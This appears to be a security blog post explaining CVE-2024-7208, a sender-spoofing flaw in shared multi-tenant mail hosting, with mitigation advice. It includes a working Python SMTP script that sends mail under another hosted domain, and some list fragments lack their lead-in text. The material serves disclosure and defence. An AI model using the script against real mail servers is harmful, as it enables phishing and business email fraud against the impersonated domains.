In June 2024, a critical vulnerability (CVE-2024-7208) came to light, impacting many companies that use shared email hosting—think of big providers like cPanel, Plesk, or any multi-tenant mail server. This bug doesn’t need a skilled hacker. All it takes is an authenticated user (someone with a regular email account on the system), and suddenly, they can send emails that look like they’re coming from any other domain hosted on the same server. This shocks admins and breaks the trust that email security measures like DMARC, SPF, and DKIM are supposed to provide.

Let’s break down what’s going on, how the attack works, and what can be done to stop it. If you’re running an email platform that hosts multiple tenants (customers or domains), you need to understand this bug ASAP.

What is the Issue?

CVE-2024-7208 is about a flaw in shared email systems that don’t strictly segregate authenticated users by domain for SMTP submission. This lets a regular user send email “From” any other domain also hosted on the server—passing SPF, DKIM, and even DMARC checks—because the sending infrastructure is trusted.

They can issue an email with a From address set to another domain on the same host

- The server signs messages (DKIM), and SPF passes (because it’s coming from the right server IP), so DMARC is bypassed

This opens the door to phishing, internal spoofs, CEO fraud, and more.

Technical Breakdown

Let’s simplify. Your company.com and victim.com are both hosted on the same shared mail server. You have a legit user, johndoe@company.com.

Typical Exploit Code

Here’s how an attacker (who is just a normal user on the system, not a real “hacker”) exploits this. The code uses basic Python SMTP—but any mail client with SMTP Auth would work.

import smtplib
from email.mime.text import MIMEText

# Attacker's login (from company.com)
username = "johndoe@company.com"
password = "yourpassword"

# Victim domain to spoof
from_addr = "boss@victim.com"
to_addr = "employee@victim.com"

# SMTP server settings (shared mail host)
smtp_host = "mail.sharedhosting.com"
smtp_port = 587

# Create the email
msg = MIMEText("This is a spoofed message.")
msg['Subject'] = "Important Message"
msg['From'] = from_addr
msg['To'] = to_addr

# Send as the attacker, but spoof From as another domain
server = smtplib.SMTP(smtp_host, smtp_port)
server.starttls()
server.login(username, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

Real-World Impact

Anyone with an account—an ex-employee, unhappy customer, or even a cheap plan on a shared host—can target domains that share the server. They can trick other employees, vendors, customers, or even do BEC (Business Email Compromise) scams inside your own company or a customer of the same host.

Web hosts offering “unlimited domains” on the same email host

- cPanel/WHM setups before they patched it (cPanel security notes)

What needs to be fixed

- SMTP servers must check that an authenticated user can only use a “From” address from domains they actually own (or have been delegated).

References

- CERT Advisory on Multi-Tenant Email Hosting Flaw
- DMARC Home
- SPF Project
- Original Exploit Report Thread (Mailcow/cPanel)
- Postfix RestrictSender Guide

Require that SMTP authentication is bound to the domain of the mailbox being used.

- If you run Postfix/Exim, restrict SMTP Auth users to only “From” their mailbox’s domain.

For cPanel: apply all published hotfixes (see your WHM security updates).

- For custom servers: consider restricting authorized sender addresses.

Conclusion

CVE-2024-7208 is a rare but devastating bug; it breaks the core assumptions of modern email security in a shared hosting world. Companies and individuals using bulk email services or shared web hosts must act now. Left open, anyone with just a $5 hosting account could send emails impersonating your entire domain, with nearly perfect legitimacy.

> Check your mail server. Patch it. Audit all outbound mail. Don’t let your domain be the next victim.

Have you been bitten by this bug? Share your experiences or mitigation tips below!

*This article is exclusive for readers seeking practical security. For in-depth technical analysis, check the references linked above or follow the conversation on the cPanel forums.*

Timeline

Published on: 07/30/2024 17:15:14 UTC
Last modified on: 10/29/2024 19:35:33 UTC